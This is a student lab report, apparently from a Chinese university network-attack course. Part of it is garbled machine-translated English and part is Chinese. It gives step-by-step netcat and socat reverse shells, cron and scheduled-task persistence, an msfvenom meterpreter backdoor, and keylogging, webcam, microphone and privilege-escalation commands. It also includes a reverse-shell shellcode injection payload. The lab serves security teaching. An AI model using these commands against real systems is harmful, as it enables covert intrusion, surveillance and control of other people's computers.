20,174,311 Tang Jia Exp2 back door Principles and Practice "Network against technology"

 

   First, the experimental requirements

   (A) use nc achieve win, back door between mac, Linux connection

   (B) Meterpreter applications

   Applications (iii) MSF POST module

     Second, the experimental content

   (A) use netcat to obtain the host operating Shell , cron start.

    (B) usesocat get the host operating Shell, plans to start the task.

   (C) use MSF meterpreter (or other software) to generate an executable file, use ncat or socat to the host and run to get the host Shell.

   (Iv) useMSF meterpreter (or other software) to generate the target host to obtain audio content, camera, keyloggers, etc., and try to put right.

   (E) using the shellcode MSF generated, poured into 1 pwn1 in practice, the acquisition recall connection Shell.

   Third, the experimental procedures and results

  (A) ncat

    netcat is a bottom tool, the basic TCP, UDP data transmitting and receiving. Use is often combined with other tools, play the role of the back door. Linux usually comes with netcat, "man netcat" or "man nc" to see the instructions for its use.

          Windows install ncat, download ncat.rar decompression can be used in the course home page annex. Here we must extract to the D drive.

    1.Win get Linux Shell

    First look at the windows client's IP address (ipconfig).

   Once you have downloaded netcat in the windows, switch to the file directory, open the monitor with ncat.exe -l -p 4311 command.

       Next, open Kali, with NC 192.168.1.110 4311 -e / bin / SH connection instruction to rebound.

          Windows have been obtained can be found in the Linux shell, you can run any command. (Here I ls and pwd command by way of example)

    2.Linux get Win Shell

    First, in the end run Linux interception instruction nc the -l -p 4311.

    Then Kali ip address needs to know, by the ifconfig command can look up kali end ip address is 192.168.80.135.

    Then proceeds bounce connected windows, side windows at the input command ncat.exe -e cmd.exe 192.168.80.135 4311.

    Such Linux gained the windows of the shell. At the command line interface, you can execute windows commands, here I use the ipconfig example.

    3. nc transferring data and files

    First interception instruction in the windows end run.

       Establish a connection with the linux windows.

    After the connection is established, you can transfer the character data.

 

    Here I also tried it with nc transfer files, file transfer direction from Kali to Windows. Because the documents kali pass from windows, first create a file in kali end.

    The contents of the file where I enter hello, save the file and exit.

 

    在Windows下监听4311端口,并把收到的数据保存到kali.out中,指令为ncat.exe -l 4311 > kali.out。(好吧,突然发现我当时截的图片找不到了,那我只能把步骤写写)。连接建立成功,在kali端输入指令nc 192.168.1.110 4311< kali.txt,kali可以收到Windows发来的文件。(这里笔者修改了文件后缀名查看的文件传输内容)

 

 

  (二)Meterpreter

    Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。 

     任务一:使用netcat获取主机操作Shell,cron启动

      Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。

   在windows中开启监听,使用 ncat.exe -l 4311 命令监听4311端口。

   crontab指令增加一条定时任务,"-e"表示编辑。并选择编辑器3,在底行插入*/1 * * * * /bin/netcat 192.168.1.110 4311 -e /bin/sh,即每隔一分钟就反向连接主机的4311端口。

    保存、退出后配置即生效。可以通过"crontab -l"来查看,"-l"表示list。

    1分钟后执行指令,可以发现已经获得了shell。

   任务二:使用socat获取主机操作Shell, 任务计划启动

    在附件中把老师上传的socat压缩包下载下来并解压好。在Windows系统下,打开控制面板->系统和安全->管理工具找到任务计划程序,点击创建任务。

点击触发器选项卡,选择新建,然后将开始任务设置为工作站锁定时。

    在操作选项卡,点击新建,在“程序或脚本”中选择socat.exe文件的路径,添加参数中填写tcp-listen:4311 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口4311,同时把cmd.exe的stderr重定向到stdout上。

   创建完成之后,键入windows+L锁定计算机再次登录,让任务开始执行。

 

    在Kali环境下输入指令 socat -tcp:192.168.1.110:4311,可以发现已经获得了cmd的shell,看到了命令行界面(这里笔者使用ipconfig来验证)。

 任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    生成4311_backdoor.exe,复制到Windows端。在Kali中输入命令如下(由于是在Linux中生成后门,所以此处的ip地址是Kali的ip地址):msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.135 LPORT=4311 -f exe > 4311_backdoor.exe

 

         在Windows下执行 ncat.exe -l 4311 > 4311_backdoor.exe,使被控主机进入接收文件模式。

 

    在kali中执行nc 192.168.1.110 4311 < 4311_backdoor.exe,将生成的后门程序传送到主机上。(这里碰到了一个困扰了我好久的文件无法传输问题,在后面的问题解决中我会详细写一下)

    可以在文件夹里看到后门程序已经成功传输。

 

 

     接下来就是用MSF打开监听进程。在Kali中重新打开一个终端,输入msfconsole进入msf控制台,依次输入:

    use exploit/multi/handler //使用监听模块,设置payload

    set payload windows/meterpreter/reverse_tcp //使用与生成后门程序时相同的payload

    set LHOST 192.168.80.135

    set LPORT 4311

    exploit //设置完成,开始监听

    输入指令完成后,找到刚刚传输成功的后门程序,双击打开该文件。可以发现,Kali中已经获取了windows的shell。(这里笔者用ipconfig来验证)

任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;

    1.音频

    保持任务三的状态,输入 record_mic 可以截获一段音频。

    根据文件目录就可以找到该文件。

    2.拍照/摄像

    输入 webcam_snap / webcam_stream 指令可以使用摄像头进行拍照/摄影。

    好吧,我承认我电脑的摄像头坏了,在这一步我碰到了两个问题,在之后的问题中我也会详细的讲到解决办法。

但是为了保证实验的效果,我还是通过webcam_list指令查找了一下可用的设备。

    发现这里确实有可用的设备,但是我主机上的摄像头从上一次重装系统后就出了问题,所以这里拍不了。(在后面的问题中我会详细说)

    3.截屏

    输入 screenshot 指令就可以进行截屏。

    根据文件目录可以找到具体的截屏图片。

    4.获取击键记录

    输入 keyscan_start 开始记录下击键,输入 keyscan_dump 指令读取击键的记录。

    我在微信上打了20174311 tangjia,又点了几下Backspace,可以看到这里已经将我的击键内容都展现出来了。

    5.提权

    先使用getuid指令查看当前用户,使用getsystem指令进行提权。

   可以观察到提权成功。

可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    第一步要先生成shellcode,https://www.exploit-db.com/shellcodes搜索并下载一个linux/x86 - Reverse的文件,用记事本打开查看里面的机器码。

    下面的步骤就跟实验一的有点类似了,查看查看shellcode的地址,这里的详细过程我就省略了。

 

    我的地址是0xffffd32c+4=0xffffd33c。修改生成input文件,指令为perl -e 'print "A" x 32;print"\x3c\xd3\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input11

    接着打开另一个终端,打开msf控制台,输入以下内容:

use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1(根据前面下载的源文件获得)
set LPORT 4444(根据前面下载的源文件获得)
exploit

    在前面打开的终端中输入指令,(cat input11;cat) | ./pwn1。

        接着在另一个终端上就可以使用shell了,证明反弹连接成功。

   四、实验遇到的问题及解决

    这次实验有两个问题卡了我很久,第一个问题是在后门程序传输过程中出现的无法传输的问题。

    这个问题首先想到可能是防火墙没关闭或者杀毒软件没关闭,于是我以此检查了主机和kali防火墙的开关情况,确定防火墙关闭后,又把360杀毒软件关闭,再进行文件传输发现还是不行,无奈之下我选择重启虚拟机发现还是不行,此时我就有点迷茫了,而且时间拖得越久就越浮躁,结果我就打开任务管理器看了一下,想想是不是后台运行的程序的影响,发现360还是在后台工作,于是为了以防万一,我先把这个后台程序添加为可信任对象,想想这样万一再失败,于是我干脆卸载了360(此时心态起伏波动),然后重启虚拟机再做,发现还是失败,这个时候我心态其实有点炸裂了。最后实在没有办法,我尝试修改一下端口号,不用我的学号4311作为端口号进行设置,发现奇迹般的传输成功了,这时候我真的是哭笑不得,但好在问题解决了。

    我碰到的第二个大问题是摄像头的问题,在尝试打开摄像头的时候老是出现下面的报错:

    碰到这个错误我就很迷茫了,因为我百度也没有搜到跟我一样的问题,我也不知道去哪了解这个731问题,但在百度过程中我发现了上几级的学长学姐有碰到类似的1411问题的,是因为设备共享的问题,我照着他们的解决办法查看了一下发现我的设备共享没有问题,于是乎我陷入了迷茫。不过说来也巧,这个问题的最终判定竟然是一次微信视频电话,我跟一个朋友开微信视频电话的时候是用电脑接的,然后那边就说看不见我,但我确定已经打开摄像头了,我这时才反应过来是我电脑的摄像头出了问题,自从上次重装系统后电脑就出现了一些硬件问题,然后我下载了一个软件叫驱动人生想找找摄像头的问题,但是软件查找问题后给我反馈下面的信息:

    既然这里显示正常我也不知道为啥了,自从重装系统后,这个界面跟我之前的界面有些差距,一些硬件设置我也找不到了,现在疫情期间也没办法出门修,于是摄像头这一步我也只能做到这了。

   五、实验思考与心得

   (一)基础问题回答

    1.例举你能想到的一个后门进入到你系统中的可能方式?

    安装了带有后门的盗版软件。这个我怀疑我自己电脑上就被装了后门,因为之前下过一下小软件(不是ghs,嘿嘿),然后电脑上就会出现莫名的广告弹窗,360都解决不了。

    2.例举你知道的后门如何启动起来(win及linux)的方式?

          Windows:开机自启动,双击打开软件的时候启动以及远程开启系统后门等。这个我电脑上就有开机启动后自动弹窗,我也好想知道怎么关掉。

      Linux:注入shellcode,任务计划启动等。

    3.Meterpreter有哪些给你映像深刻的功能?

    能够控制摄像头拍照录像、记录你的击键内容等等,这些原本在电影电视剧中看到的镜头没想到这样就可以实现了,可见网络安全还是要十分重视的。

    4.如何发现自己有系统有没有被安装后门?

    我觉得就现在的水平主要还得靠一些杀毒软件吧,比如说常见的360,但是根据学过的知识还是有很多理论上的办法,比如说依靠防火墙或者入侵检测系统的拦截信息,还有日志信息、注册表信息、异常端口等等。

   (二)实验心得

    虽然说这次实验心态很多次炸裂,因为确实碰到了好多奇怪的问题,有的甚至我去百度都搜不到类似的,很多次搞得我很迷茫,但是当实验做成功了我觉得还是蛮有意思的,因为像调取摄像头拍照拍视频啊这些原以为黑客操作的内容自己也实际操作了一把,而且我也觉得老师说的那句话蛮对的:有问题才叫生活嘛。虽说解决问题的过程有些痛苦,但最终的结果还是比较好的,最后还是感谢这次实验吧,让我见识到了一些蛮新的东西,希望在下次的实验中自己的水平能够继续提高。

  

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Guess you like

Origin www.cnblogs.com/bestitj/p/12535888.html